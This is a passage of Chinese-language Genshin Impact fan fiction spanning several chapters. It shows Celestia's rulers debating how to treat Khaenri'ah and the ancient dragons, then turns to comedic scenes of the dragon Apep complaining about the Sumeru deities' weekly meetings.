维系者显然想到了更深一层—— “你是不是看见了什么?难道说……本来应该被禁忌知识和深渊盯上的,是无神之国坎瑞亚?” “可能吧。” 维尔金含糊回答,他并不想让维系者因为坎瑞亚在重置前世界的所作所为就对他们心生偏见,所以暂且先略过了这个话题,他直接道:“你们的处理没有问题,人类尽数转移之后,务必封锁地底入口,同时排查白夜国在内所有地底王国的状况,一旦发现任何有关深渊和星空的存在,立即封锁上报。” 维系者点头:“明白,我等会就去安排。” 维尔金继续安排任务:“派蒙,继续跟进,打不过就找维系者。” “诶?好的好的,我明白了!”派蒙连忙应答,“我把门修好了,维尔金你先睡,晚点我把报告交过来。” “不用,稍后你们整理一下地脉之花的异常记录,我现在要亲自去一趟须弥。” “不继续入睡吗?”派蒙问。 维系者也说道:“容我提醒,缺少了长生种们生命力量的灌溉,提瓦特目前的状况很不好。”维系者意有所指,"我不认为答应龙族余毒的臣服能够彰显天空岛的宽容——我们本就不需要他们的认可,干脆不如直接杀掉……至少这样,你不必再为了节省提瓦特损耗被迫陷入无休止的沉睡。" “但他们毕竟臣服了——过度的杀戮会把这些长生种们逼到天空岛的对立面,也容易让底下的七神生出反叛之心。”维尔金揉了揉太阳穴,心中默默叹了口气。 光是这样还无法打动本质上跟自家上司一样是实力以及人类至上主义者维系者的心灵,她刚要继续劝说,维尔金就用一句话堵住了她所有的未尽之言: “我已经见到了屠戮的结果——或许可以维持住几千年的稳定,但还不够。” 维系者一针见血,跟自己的直属上司一样,她也能看见提瓦特表象背后的真实。 “没有鲜血和死亡,连维持一千年的力量都不够用。我认为应该削减眷属数量,沉眠、死亡和暗之外海才是长生种们的归宿。” “……尼伯龙根的东西还能用吗?”维尔金问。 “显然不能——连文明都遗忘断代的种族只会走向末路,与其让他们苟且偷生,倒不如让他们发挥一下余热。” 维系者顿了顿,不解道: “维尔金,你变得有些优柔寡断了。你以前从来不会考虑一个弱小战败的文明留下来的遗产是否会派上用场——人类用不了多少元素力量,只要来一场针对叛逆者的裁决,地脉同样能够获取到足以支撑两千年的力量。而且风险更小、更容易获取。” 维系者话锋一转:“是什么东西改变了你,让你认为纯粹的力量无法解决一切问题呢?” 维尔金沉默了半晌,最终,混杂着天空岛主人悠长叹息和遗留留下的虚影,半天都插不上一句话的派蒙只听到了这么一句话—— “因为我已经见识过人类的力量了……维系者,他们比我们想象得更加坚强,或许我们可以尝试……用不需要牺牲的方式,维持法涅斯留给我们的世界。” “为什么?”维系者不解,“我们之前不都是这么做的吗?保足人类即可。” “可能是因为人类并不如我们想象的弱小,也有可能是我发觉,非人类们其实也能够同人类和谐相处吧。” 留下这么一句话后,维尔金下界,徒留派蒙陪着冒着火气的维系者。 派蒙试探道在:"那我们现在是……去干活了?" 维系者摇了摇头:“派蒙,你去把关于坎瑞亚的地脉之花的资料全部导出来。” “坎瑞亚?”派蒙不解:“不先把白夜国的事情收个尾吗?” “我想见识一下人类的力量,就这么简单。还有什么比无神之国的人类更能见证人类本领的地方呢?”维系者从天理的沉眠之所走出,不一会就来到了天空岛的边缘处。站在高处俯瞰脚底下的大陆,天空岛之上,尘世诸国一览无余。 “维尔金从不会无的放矢,从他醒来的那一刻起就关注且多次提起的国家,一定有其我还没有发掘出来的闪光点。” 维系者认真地说道:“我要去找到能让维尔金这个纯粹的实力至上主义者也能相信的,所谓人类的力量——” “但如果我没有找到……”维系者看向其主人已经下界的桌案,缓缓道: “法涅斯赋予我的职责是拱卫天空,守护世界,既然如此,若是维尔金大人走在错误的道路上,作为维系者,我也有责任将命运掰回正轨。” 维系者顿了顿,金色的眼眸投向地上的无神之国:“比起长生种,我更不相信人类的力量。” “那维系者……你打算怎么证明?”派蒙小心翼翼道,“当然我也不是什么别的意思,毕竟坎瑞亚的地理位置很安全,有维尔金大人的豁免,加之魔神战争已经进入尾声,只要他们不主动招惹其余有神之国,应该不会出什么大问题。” “叫你平时没事干多盯会地脉之花,”维系者长长叹了口气,扶额,又嫌弃地翻了个白眼,但还是耐着性子解答派蒙谨慎但是又略显愚蠢的问题: “地脉之花显示,由于坎瑞亚科技发展的负面作用影响,无神之国的地脉出现枯竭状况,土壤也随之失肥。目前污染蔓延、粮食产量急速下跌的情况开始以坎瑞亚地脉核心所处之地迅速向周边蔓延。” 维系者耸耸肩,无所谓道:“其实也不是什么大事,要是有魔神庇佑,只要向土地里面注入足够的力量就行了,可是没有神明的国度……” 向土地注入魔力,听起来简单,实际操作起来也并不困难,甚至拥有神之眼的普通人都可以如法炮制,只要向大地注入足够多的元素力量,土地自然会恢复成为肥沃的黑土——前提是注入的力量足够庞大。 光是让一块时之岛大小的土地恢复肥力的力量,就需要一个尘世七执政级别的魔神修整数年。魔神固然爱人,但爱别国的人之前,本国的魔神肯定更爱自己国家的子民。 不会有神会放着自己的国民不管,千里迢迢地折损力量去为无神之国坎瑞亚恢复土壤的肥力。 而夹在有神之国中间的无神之国,更不可能背弃自己的立国之本坎瑞亚科技,去寻求神明的帮助,解决他们目前面对的危机。 维系者拔出地脉之花,将关于坎瑞亚地脉衰弱的数据全然导出。 随后,又将卷轴放置于已经空无一人的台面上。 被导出数据的地脉之花立即枯萎缩水,只剩下一章孤零零的卷轴详细地向导出人汇报了坎瑞亚目前地脉的状况。 派蒙拿起报告,粗略扫了几眼,很快发现问题所在—— “地脉枯竭?这……但是光靠人类的话,他们可能连排查出问题症结所在地都做不到吧?” 哪怕是以所谓科技机械造物见长的人类王国,也不可能对完全属于元素力量一侧的地脉状况烂熟于心。 地脉之花挥忠诚地记录下一切异状,然后将数据传输至天空岛,而统领各个国家神明的最重要的工作之一,就是根据地脉之花异常报告解决问题,并定期提交给天空岛,交由维系者和她审批,一旦出现她们无法解决的状况,才会像今天一样把维尔金叫醒,亲自处理事务。 而由于坎瑞亚没有神明,那些宫廷的法师们力量也不足以导出地脉之花,因此大部分时候,都是由维系者亲自处理坎瑞亚的异常情况。 但这一次,不知为何较起真来的维系者似乎真的打算当甩手掌柜。 “可是万一他们一直发现不了问题怎么办?”派蒙有些担心,“虽然说,我也很赞成给坎瑞亚一个教训,至少让他们少倒腾倒腾本就脆弱的提瓦特生态结构,但是万一一直没有人看出来这是地脉的问题,坎瑞亚人又一直死犟不肯求援……如果导致地脉出现永久性衰退的话……维尔金一定会大发雷霆的。” “不用担心。”维系者摆了摆手,“先不说地脉异状很好分辨,反正会导致土地失去肥力的就那几种可能性,试错试完了自然也能意识到问题。只是到时候,不知道自诩无神之国的坎瑞亚,究竟是会承认凡人的局限性,向天空岛地下桀骜的头颅,还是说依靠维尔金口中的「人类力量」解决本国的危机呢?” “我觉得有可能都不是。”派蒙说。 “哦?”维系者颇感意外,问:“你觉得他们会做什么?” “现在的提瓦特并不太平,战火没有完全停歇,对于无神之国而言,神明更是比战争更危险的存在。”派蒙认真地劝说道,“对于一个时时刻刻处在紧绷状态的国家,一旦遭遇到类似天灾的地脉枯竭,他们可能会应激,一不做二不休,试图把所有国家拖到跟他们一样的处境去……” “人类本性不会这么坏的。” 维系者安慰着忧心忡忡的时间之魔神,空间的主人对同僚的担忧不以为意,“这个只是一个小小的考验,我有分寸。一旦地脉出现永久劣化的可能性,我会停止这场无聊的验证,总归不会产生无法挽回的后果——派蒙,你也很期待这个问题的答案吧?” 时间之魔神别过脸,没有说话。 在这个时候,不回答其实与默认无异。 “一起见证人类的力量吧,派蒙。” “我真的很想知道,是他们的科技能够率先解决地脉枯竭、土壤退化的问题 ,还是先底下凡人目空一切的头颅,向我等神明求助呢?” 眼睫投射下的阴影盖住了维系者金色的眼眸。 派蒙顺着维系者的视线投向原处的人类国度,虽然尚不明显,但透过地表溢出来的变质元素力量,她能够清晰地看见,种植于枯竭地脉范围土壤植物的时间轴显而易见地缩短了几寸。 维系者暇整以待,与之前不同,这次,她真的什么都没做。 只是如同一个无关的看客,见证无神之国即将到来的灾难。 “能够被见识过法涅斯存在的天理也为之赞叹的「人类」力量——” “浅薄如我,也想好好见识见识一番。”—— 作者有话说:这时候的维系者正好是跟维尔金相反。 因为先前的旅行,维尔金不再一味地偏袒人类,同时又因为看到了非人类们的行为觉得他们……好像只要听话也没必要赶尽杀绝。 维系者还是最初的样子,即相信人类柔弱可怜无助,没有神就活不下去,但是又觉得就算人活不下去也不会干坏事,就像是自家的小猫咪不喜欢主人,只寻思着断水断粮两天小猫咪就会知错,全然没有考虑到小猫咪会回归野外自力更生的可能。因为对小猫咪的食量和能力有数,所以完全不觉得自己的行为有什么问题 第79章 第 79 章 就蒜挤进去也是橘外人 茂密的雨林遮天蔽日, 粗壮的古树根须牢牢扎根在这片三神共治土壤——准确来说,还有一条巨大的、据说是从远古存活至今的草之龙。赤沙之人为之自豪,他们坚信, 连远古龙族都甘愿俯首称臣的赤王, 必定是魔神中的魔神, 绝对的强者。 强大的赤王最近无比忧愁。 情绪饱满且闲的发慌的魔神环视了一圈除了龙之王以外, 明显在各忙各的七圣柱们, 最后选择在翠绿色长条型古龙的耳朵边碎碎念,表达了作为上司对手底下员工身心状态的关心:“阿佩普我们推心置腹,你真的没觉得被排挤了吗?我怎么感觉隐隐有种小团体诞生的感觉?” “不是什么人都能同伟大的龙族平起平坐的。”阿佩普纠正道,她显然已经习惯于被赤王被无视而不自知的处境,但作为当事人, 阿佩普却对自己融不进集体的事情毫无察觉——也是,高傲的古龙愿意耐着性子坐在一旁听赤王讲讲天空岛的八卦已经是极限,真要让她放下身段变成小团体中的一员也未免太过困难。 但话虽如此, 面对这位跟自己一见如故的布耶尔能够平起平坐的三王之一, 阿佩普还是秉持基本的尊重听完了名义上的上司的吐槽: “说吧,高贵的巨龙乐于倾听魔神的烦恼。” “你说为什么娜布宁愿每天粘在布耶尔身边,都不愿意出来喝一杯只有我们二人共饮得下午茶呢?”赤王托腮, 微微叹了口气, “还是说, 因为本体不是草木被她们排挤了吗?。” 锐利的龙瞳已经在赤王碎碎念的洗礼下变成了无语的豆豆眼。 “我猜是因为你很烦才不愿意邀你出来喝茶, 没人会喜欢一个每周要开所谓例会的混蛋赤王。” 阿佩普即答, 尾巴尖不耐烦地拍打着周边的土地,她是答应成为了草神的眷属没错——但名义上的草神可不是阿蒙,而她之所以出现在赤王麾下小团体聚会,也只是因为之前脑子抽了, 居然答应成为那什么“龙之王”,语气更是不耐烦:“而且布耶尔知识渊博、学识丰富、性格温柔、心思细腻,而且最重要的是,她身上的自然气息十分好闻,娜布喜欢跟她黏一起也正常。至于你,要不是你今天说有什么关乎须弥未来的大事……我也不是非常愿意到场。” “夹带私货有点严重哦,阿佩普。” 阿蒙不轻不重地指出,阿佩普也只是冷哼一声,并没有否认。 虽然不愿意承认,但赤沙的灼热连草木之龙也不得不支起庇护所,对于草木的精灵而言,阿蒙本身就是一个人型自走太阳,待在一起只会感觉自己像是正在快速蒸发。当然,更重要的事—— 阿佩普低头看向鳄之王索贝克,寻求和自己意见相同的盟友:“你们不觉得玩过家家是一件很无聊的事情吗?三神的恋爱纠葛跟我们有什么关系吗?这种八卦难道值得我们每周开一次例会吗?” 喧闹的空间短暂寂静了一会。 鹮之王图特默默记下:可喜可贺,愚钝的古龙终于意识到尊贵王上的本质。 “愈多权力,愈多空虚;多有智慧,则多有忧伤。” 在忠诚的统帅正是因为大权加身才如此空虚,正是因为充满智慧,阿蒙大人才会困于情爱,忧愁伤感的另一面正是心思缜密,讨论八卦自然是广开言路——在索贝克心中,每周的例会也是重要地战报交流所。 鳄之王索贝克极其隐晦地吹捧了一番心目中尊贵的赤砂之王,随后就一片赤诚的赞美就遭到来自草之龙的疯狂贬低。 “三个神三班倒轮流批阅地脉之花消息的权力在你这里倒变成肥差了,神经病。”阿佩普大大翻了个白眼,无情地下达判决,扭头看向跟自己一样隐隐对阿蒙时不时昏头行径略有不满的公羊之王寻求认同,“恋爱脑是活不长久的,无脑的拥护者也是——赫里沙夫,你自诩智慧,你觉得我说得有没有道理?” 蛐蛐同事和吐槽领导不光在人类的世界是一柄拉进关心融入小团体的利器,在眷属中也是。公羊之王赫里沙夫眼神晦暗不明,幽幽吐出显然充满着言外之意的话语:“你来得晚可能不知道,赤王大人以前还在天空岛的时候就是这样,就算娜布大人让赤王大人去死,赤王大人也会毫不犹豫地同意。至于恋爱脑,有什么问题吗?” 阿佩普没有想到,居然还有人磕自家领导和同事领导的CP—— 公羊之王赫里沙夫双手合十,忍不住畅想:“抗拒着天生爱人的本能,对本应互为敌人的魔神充满爱意,这样的爱情,就算是天理大人也会为之感动落泪吧?” “那你更是毫无逻辑,怎么不干脆梦一个大的,直接梦天理给这个恋爱脑赐婚?”阿佩普打断道,然后将矛头调转向正欲开口缓和一番气氛的谢斯芬赫,“还有你谢斯芬赫,不要以为没说你就躲过去了,虽然我不知道你要说什么,但是你也烂。” 象征着镇灵的圣者谢斯芬赫举手投降大呼无辜:“可是我还什么都没来得及说。” 阿佩普毫不客气:“我不骂你你就会说说了。而且我很确信,绝对不是什么好话——以龙族的血统发誓。” 一见到这个象征着镇灵的谢斯芬赫,阿佩普没由来的火大,虽然目前看来谢斯芬赫挺好说话的,甚至是难得的和稀泥高手,但阿佩普就是心中憋着一腔怒火——不知道为何,这个象征着镇灵的家伙一发话,自己就像扇两巴掌。考虑到同事情谊,阿佩普艰难地将巴掌化为了最纯粹的语言攻击。毕竟,让伟大的草之龙委屈自己是不可能的。 “理解一下,阿佩普可能更年期到了。 ”象征着人之灵魂的圣者贝努宽慰起好友,将一切归咎至古龙的更年期上,“因为自己孤家寡人一个而迁怒到同事的情况也并不少见,再加上年纪大了又没有朋友,心理逐渐变态扭曲、热衷于阴阳怪气身边同事更是非常常见的现象。” 鹮之王图特甚至停下手上记录的文字抬头认真赞同了一番:“确实。” “写你的野史去。”阿佩普龇牙威胁。 鹮之王图特默默低头,然后火速在记录的砂纸上新增一句话:阿佩普依旧愚不可及。 “你嘴巴越来越毒了,阿佩普。”看不下去阿佩普一人战六柱的阿蒙站出来说了句公道话,“况且你不是都接受了成为我手底下的七柱之一的龙之王了吗?稍微对同事友好一些吧!” “只是看你上次被娜布无视得太凄惨,所以同情心泛滥答应了你那无聊的沙盘模拟小游戏罢了。别忘了,我现在可是布耶尔麾下的天空岛外聘员工,我们两个本质上的区别只是在于你是正编,而我是外包,信不信我告上天空岛说你想跟天理抢人?” 阿佩普越说气势越足,甚至开始理直气壮地忽悠起看起来太没事情做所以才把目光聚焦于无谓爱情的赤王,“快给我拿出点事业心来,不要沉迷于这些情情爱爱,快去研究古龙遗迹的科技啊!!” 鹮之王图特默默记下:龙之王阿赫·阿佩普包藏祸心,不顾其余六柱劝阻,怂恿赤沙之王向天理举起反旗。 在阿佩普跃跃欲试的期待眼神中,阿蒙叹了口气。脑子里只有打打杀杀的远古龙王果然还是只能当做暂时性的树洞,阿蒙摆了摆手,用一句让阿佩普血压陡升的话作为结束: “算了,跟你这种只知道打打杀杀的古龙说不清,就这样吧。” 阿佩普:……哪里有问题你倒是说啊。 “这周是阿佩普整理会议纪要,记得早点弄完上传给天空岛。” 阿佩普更加不满:“哈?明明图特已经记好了吧?” “不行哦。”阿蒙半托着下巴,懒洋洋地领着一串新鲜地从阿佩普身上摘下来的青提,“以前的文书都是图特来的,但我觉得图特短时间内应该不会想帮你做完,所以先自力更生一下吧——只有吃过文书的苦,才知道有一个能帮忙做文书还热衷于给工作留痕的好同事是多么重要啊!” 对公务一无所知的阿佩普无法理解,平整的大脑告诉她,既然无用的同事联谊已经结束,那么愉悦的昏睡时光就可以开始了。 “我要睡觉了,你们七个现在就滚出我的地盘。”阿佩普指挥自己孕育而生的元素生物将这群无法沟通的家伙们统统赶出领地,临了关门还不忘扔下一句,“你们快点把我从七圣柱中除名,跟你们一起讨论阿蒙这个王八蛋的情路历程只会让尊贵的古龙丢尽颜面。” ——虽然在时间的推移下,她也乐在其中就是了。 但不过阿佩普不会承认的。 “差点忘了。”阿蒙像是突然想起来,在阿佩普临了关上大门前不忘叮嘱,“这两天先别摸鱼,我听派蒙说维尔金好像要来须弥视察,指不定要来你这里慰问一下外包同事。而且这个月还轮到我盯神之心,到时候维尔金大人没联系上你,一个电话打过来,很影响娜布和布耶尔休息的。” 阿佩普对此嗤之以鼻:“别拿天理恐吓我,赶紧滚回你的窝点。” 谁不知道天理已经将大权交由维系者全权代管,只要不是足以毁灭提瓦特的大事件,这位沉眠与高空之上的虚假之天绝不会轻易下界。一看就是时间之魔神看见阿蒙一整天不干正事,随口编了几句谎来忽悠他。 阿佩普自认为自己也没干什么值得天理屈尊降贵亲自下界视察的活动,尾巴一扫门一关,空荡荡的回音响彻天空: “我睡了,没事别找我,有事也别烦我。” 险些脸找地吃一嘴沙子的鹮之王图特被赶走前恨恨记下:赤沙之王告诫龙之王天理将至,后者不以为意,终将铸下大错—— 作者有话说:很难想象这一章三千字是我从上个星期五写到现在的结果[小丑]果然堕落使人更加开摆[鸽子] 第80章 第 80 章 阿佩普大人想要睡觉 吵闹的家伙们终于滚蛋, 阿佩普扭动着巨大的身躯,元素力量犹如井喷般爆发,约莫共有二十多只头重脚轻的蕈兽们被一股脑地从阿佩普的口中吐出来, 乍然被扔出巨龙体内温室的元素生命们一个个东倒西歪, 硕大的伞盖推推碰碰, 好不容易站稳, 又被身边摇摇晃晃的同伴重新推歪。 阿佩普敲了敲尾巴, 清醒的蕈兽们摇摇晃晃地转身过来。没有耐心的阿佩普“啧”了一声,用尾巴轻轻将一部分分不清东南西北的蕈兽们掰回正轨。 阿佩普满意看着这些显化在独属于草之龙的领地,这些幼小的蕈兽们抬头看向了自己的“母亲”或者是造物主,普通的野外元素生物的智慧跟人类的婴幼儿无甚区别,但这些从阿佩普身体诞生出来的、某种意义上也算是“龙”的蕈兽们乖巧地排排站好, 等候后者的指令—— “很好。” 阿佩普用尾巴点了六只站得最直的蕈兽,指挥道,“你们几个, 去把阿蒙留下的文书任务完成了。” 小小的蕈兽充满了大大的疑惑: “什么是文书?” “好像是地脉?我们可以吃吗?” “阿佩普大人, 不如我们一起玩!” 原本只有巨龙一人的世界乍然吵吵嚷嚷起来,明明是一群拟态蕈兽的元素造物,可一脱离阿佩普的身躯, 一个个幼稚得却像是初生的稚子, 毫不掩饰地表露出对外界的好奇心。 阿佩普俯下身, 巨大的龙首和蕈兽们比起来, 有如山峦俯身看向身上果树结出来的果实。 “文书, 就是工作。”难得耐下性子的巨龙解释道,“刚刚阿蒙布置下来的工作大家都听到了吧?要好好地完成会议纪要、然后交给他。” “阿佩普大人呢?”一只看不出属性的蕈兽歪了歪脑袋。 “我有比完成工作更加重要地事情。”阿佩普直立起身子,严肃说道,“伟大的尼伯龙根还在等候祂最忠诚的卫士阿佩普去重现那独属于龙族的辉煌。作为为数不多的古龙, 我不能把时间浪费在无用的文书和浪费时间的八卦茶话会中——所以这些文书,就交给你们了!” “请阿佩普大人放心!保证完成任务!”意识到阿佩普大人是多么的忙碌且勤劳,蕈兽们几乎是迫不及待地将身心扑向被交给草之龙的文书任务。 阿佩普满意地看着燃起熊熊奋斗之火的勤奋造物们,昂首挺胸地走出宫殿,用尾巴扫开覆在巨大洞穴的藤蔓,视线投向地底的空洞,满意地点点头。 还好,她的专属沉睡小屋还没有被人发现,可以安心睡觉了。 时间紧任务重,现在睡觉还能睡个六天。 阿蒙的任务交给自己的细胞搞定,而睡在洞窟里可以有效避免天理那个神经病查岗撞到自己偷懒划水。不愧是你阿佩普,多么天衣无缝的计划! 阿佩普:为自己完美的计划点赞。 心满意足的阿佩普钻入洞窟,尾巴顺带加固好了那一层藤蔓。长条的巨龙盘成蚊香,心满意足地准备睡觉—— 熟悉的声音陡然响在巨龙耳边。 “看到你这么生龙活虎,还加入了阿蒙手底下的模拟沙盘角色扮演兴趣小组,我就放心了。” 阿佩普:!! 这个声音!这个奇怪又离谱的关注点—— “天理!” 阿佩普顿时睡意全无,像一只受惊的绿色长毛猫一样,全身的绒毛似乎都尽数炸起,被睡意填满的金瞳又再度附上了警惕。 维尔金招手:“你好呀,阿佩普。” ——不远万里从天空岛下界,不先去找统管须弥的三魔神,而是先来我这里吗?阿佩普半眯着眼,心中没有半分意外。果然,天理还是不信任他们这些投诚的古龙,但不过,阿蒙的消息这次居然准了…… 是天理特地派时间之魔神露出的口风吗? 阿佩普在心中悄悄记了一笔,她的身份在如今尚未彻底平息战争的提瓦特算不上过分突出,东边的璃月还有若陀在,更遥远的蒙德似乎还有一条风龙成为了人类的守护者……但只有她,是远古尼伯龙根参与对抗天理中有名有姓的领主。 难不成是睡一觉起来,天理打算旧事重提了吗? 阿佩普摸不着头脑,但总而言之,算旧账也好,查岗也罢,她都不占理——该死的阿蒙,重要的事情就该在开会前说啊!谁家好魔神最重要的事情放在散会后临走前才说?! 阿佩普不忘在心底骂骂咧咧,维尔金没有理会草之龙纷乱的心绪,他看着还盘维持在蚊香盘状态的阿佩普,不免感慨:“原本我还担心你跟他们相处不来,现在看来,阿佩普,你的适应力倒是很强嘛。” “那当然,谁会不喜欢跟古龙相处?”阿佩普骄傲地竖起,但她可不是会被天理的甜言蜜语所迷倒的蠢龙,称赞固然令龙心情愉悦,但天理这场莫名其妙的苏醒和下界同样让阿佩普心中敲响警钟—— “不对劲,你居然会夸我?不会是又有什么脏活累活让我们这些可怜的外包眷属去大动干戈吧?”阿佩普大惊失色,没人比她更清楚天空岛是一个怎么样恐怖的血汗工厂黑心公司,维尔金和那几个执政又是怎么样的高效率工作狂魔,意识到很有可能被再度抓壮丁之后,阿佩普试图让自己听起来像一个忙忙碌碌的勤奋龙: “那个……其实最近须弥事情也超级多来着,好不容易趁着间隙休息一会——别看我好像很闲一样,最近真的特别特别忙。真的!” 阿佩普整条龙散开,竖着身子又认认真真地重复了一遍,试图让自己看起来更加真诚一些。 维尔金倒是不在意这些细枝末节。 此时的须弥正是处在三王共治的鼎盛时期,换而言之,让禁忌知识缠上须弥的引线尚未点燃,更何况在尚不稳定的局势强压之下,天空之下,深渊和星空绝对不敢轻举妄动——维尔金猜测,这也是重置之后的世界,他们选定了沉寂在地底之下、被派蒙遗漏的白夜国作为突破口的原因。 一想到这,维尔金有些头疼。 他重置的目的是将一切损害人类的根源掐灭在火种之中,但目前看来,这个目的不仅没有达成,反倒让深渊和禁忌知识更早浮现在他们眼前。 这次来须弥也是,维尔金必须亲自确定世界树的状态。 他现在对世界树本身的自查功能极其不信任。 维尔金:“我只是顺道来看看而已,顺便找下布耶尔——她现在哪?” “布耶尔?今年是阿蒙轮值,布耶尔应该待在世界树那边。” 维尔金点了点头。 阿佩普见天理似乎真的不打算捉自己偷懒,那颗悬着的心也彻底放下来,同三魔神和赤王的手下们混迹一团的时光让曾经高傲的巨龙也变得有了些人气。 难得没有其他人在场,面对这位曾经亲手摧毁龙族鼎盛的罪魁祸首,阿佩普果断出击告状,草之龙滑到洞口边,拦住了维尔金的去路。 阿佩普也懒得修饰了,直接说道:“你能管管他们仨那诡谲的三角关系吗?” 维尔金停下离开的脚步,意外地看了眼刻意拦住自己告状的巨龙。 三角关系? “他们三个不是相处得挺好的吗?”维尔金不解地问道,开始细数三王共治对须弥的好处,“三王共治就有三个魔神能够轮班,还能分担着完成工作,这不是很好吗?” 加上布耶尔的主职是看护世界树,虽然维尔金起初并不认为三位魔神共同执政是个好主意,但既然须弥如今欣欣向荣,呈现出一副勃勃生机万物迸发的态势,直觉告诉维尔金,还是不要随随便便修改须弥如今的三魔神体系为妙。 看着显然不觉得有什么问题的天理,阿佩普重重叹了口气,继续解释道: “准确来说是那两个诡计多端的魔神,娜布和阿蒙。我认为他们两个耽于情爱,不务正业,让须弥出现了一股非常不良的风气——阿蒙现在已经疯狂到滥用职权强迫我们每周开例会给他分析他那该死的情感生活了。” 全然不顾每个人听八卦吃瓜时都非常的乐在其中,阿佩普叽里呱啦列举了一大堆阿蒙的“罪证”,坚定地说道: “综上,我认为须弥有布耶尔就够了,你快点开除那两个混蛋,或者只开除阿蒙就行,我要杀了他。” 该说,时间才是能够改变一切的大手吗? 高傲如阿佩普,居然也变得沉迷于日常中的趣味。 ——在维尔金眼中,这就是阿佩普已经彻底融入须弥的象征。 虽然嘴上说的是要告阿蒙的状,但说到底,这样跟炫耀自己的朋友喜欢分享自己的情感生活有什么区别? 时间线往前拨几千年,那会的阿佩普别说是为这点小事向他抗议,就连正常的公事都是秉着“能不跟天理交流就绝不多说一句话”的态度。 嘴上说着不喜欢阿蒙的每周例会,实际上可不是相当乐在其中嘛。 想到这里,维尔金有些绷不住,“噗嗤”一声笑了出来。 “你笑什么?”阿佩普不满地敲了敲身下柔软的被窝,“我很认真地在向你进谏。可不要小瞧了见多识广的巨龙宝贵的建议——三角形很稳定,但三角形的关系一点都不稳定。” 阿佩普忧心忡忡,虽然这场不能算是三角恋的关系本质上是阿蒙一个人的兵荒马乱,但这也不妨碍阿佩普将其归纳为三角恋。 “万一阿蒙哪天发神经,想通过向布耶尔发起决斗来吸引娜布注意力该如何是好?”阿佩普忧心忡忡,不擅长战斗的世界树看守人可不是用脑回路换强大力量的阿蒙的对手。哪怕阿佩普发自内心地认为布耶尔才是最称职的草神,也不得不承认,阿蒙正常的时候,的确是位可敬的对手。 “所以你还是把他赶跑吧。”阿佩普强调,“实在不行把娜布也一起撵走……不行不行,娜布也撵走的话,布耶尔会忙死的。” “哈哈哈——” 维尔金笑得直不起腰来,在阿佩普无语切愤怒的目光下,维尔金直白地揭露了巨龙不愿意承认的小情绪:“什么嘛阿佩普,你该不会是觉得阿蒙吵到了布耶尔,才想要把他赶出去吧?” “才没有。”阿佩普抗议,为自己辩解道,“我这是在给你提供一个非常可行的建议——那种不靠谱的家伙就该趁早逐出提瓦特!” 维尔金拍了拍激动的阿佩普,正色道: “不行哦,世界树很重要,布耶尔大部分时候都没有多余的精力统管领域如此辽阔的须弥。娜布的话……以后你就知道了,她的问题不小,只是看上去正常,平日没什么问题,但真要完全把公务交给娜布,本质上就是让布耶尔一个人干活。至于阿蒙,他的实力以及威势才是须弥拥有庞大疆域又不至于分崩离析的主要因素,有他在,布耶尔才能放心大胆地将全身心投入到世界树的事宜,而不会被外界冗杂繁琐的事务分心。” 阿佩普瞪大了眼:“不是?你把阿蒙想得太尽职尽责了一点——这个王八蛋每周都挟持我们去分析他的情感生活。” “所以他每周都会确定自己下属的状态,定期去往不同下属管辖的领地巡视,顺便观察一下须弥和麾下眷属有没有什么不对劲的地方——” 维尔金耸耸肩:“阿蒙已经足够尽职尽责,而我只在乎手底下的执政官有没有好好完成工作,至于分析自己情感生活……这个纯粹是他个人爱好吧?我可是一个相当宽宏大量的好上司哦。” 阿佩普眼神死:“所以没人能让我脱离苦海了吗?” “直接跟阿蒙沟通一下,让他把你安排回布耶尔身边不久可以了。”维尔金摆了摆手,“反正合同上规定的事须弥执政官的眷属,至于你的上司是布耶尔还是阿蒙,没有硬性规定,你自己协调沟通好就行。” “……唉。” 阿佩普泄了气,翠绿色的表皮看起来都像是失了水分而变得干巴巴。 “……之前阿蒙这个混蛋激我跟他签订了契约,想要换人的话得让他主动放弃,不然布耶尔不会答应的。” 维尔金有些好奇:“你不是挺开心的吗?那不成就因为这种小事个受不了阿蒙?” “这难道是什么小事吗?”阿佩普送出一个白眼,痛不欲生地吼道,“你这种天天在天空岛享受睡眠的家伙,怎么能够懂长生种每周订闹钟起来开会的痛苦啊!!”—— 作者有话说:虽然有点晚,但还是要说 大家元旦快乐[鸽子]《 》 80-90 第81章 第 81 章 阿佩普阿姨晋升为保育员…… “欸?” 维尔金不解:“只是因为这种小事吗?可对于长生种而言, 哪怕是几百年不睡都没什么关系吧?” “有什么好欸的!”阿佩普大为不满,语气也难免带了些作为古龙对天理的不满,“你这家伙能不能用正常人的思路去想事——都有好日子过了, 大家为什么还要束缚自己的本能, 连睡觉都睡不满足啊!” 天空岛的混蛋们都是一群该死的工作狂。 阿佩普恨得牙痒痒, 尖锐的龙牙都像要被交错的利齿磨平一样。 天理这个家伙, 似乎完全没有正常生物的需求一样——还有他身边的那几个四影执政, 一个个都是疯子。 成为疯子终生劳工的阿佩普悔不当初——长生种的确可以百年不眠,但那是危险遍布提瓦特的、天理征战的年代,哪怕是魔神战争,也不存在说,长生种连觉都不敢睡的情况下。 有心竞争尘世七执政的家伙们一个个铆足力气战斗, 而不愿意掺和到新一个时代的战争的长生种们,或陷入永久长眠,或逃离至暗之外海远离纷争。 他们至少还有选择 , 但是阿佩普没有。 可怜的古龙无比怀念亘古的时代, 那随心所欲、可能肆意妄为的年代。 “总而言之,我必须要换岗。”阿佩普认真地、一字一句地提出自己的诉求:“不能有周会月会,不能每次开会都要求写会议纪要, 也不能总搞些莫名其妙的团建活动。” 维尔金挑眉:“就这?认真的吗?” 阿佩普沉痛地点头。 “求求你了, 我阿佩普这辈子没干过这么丢人的事情——” 草之龙泪眼汪汪, 忍不住哀嚎: “一定要把我从这可怕的无休止工作和团建中拯救出来啊!!”- 世界树 大慈树王双手交叠, 微微屈膝以示尊敬:“远道而来恕我未能及时相迎, 维尔金大人,还有阿佩普。不过真是难得,维尔金大人是带阿佩普一起来检查世界树的状态吗?” 阿佩普萎靡不振地摇了摇尾巴,向这位关系不错的女神有好的打了个招呼。 维尔金没有否认:“有些不太妙的存在从我的视野盲区中钻出来了……不亲自确认一番世界树的状况不放心——顺便, 我来当个说客。” 维尔金看向支支吾吾不好意思直言的阿佩普,随口说道: “阿佩普嫌弃阿蒙开会太多了没时间睡觉,想转到你手底下干活。” “可是我这里并没有适合阿佩普的工作。”大慈树王思索了一番,用那双盛满了春意的眸子满怀歉意看向自己的外包同事龙,“实在不好意思,须弥的人类太过脆弱,而偏远的地方基本都交由阿蒙处理,至于世界树……” 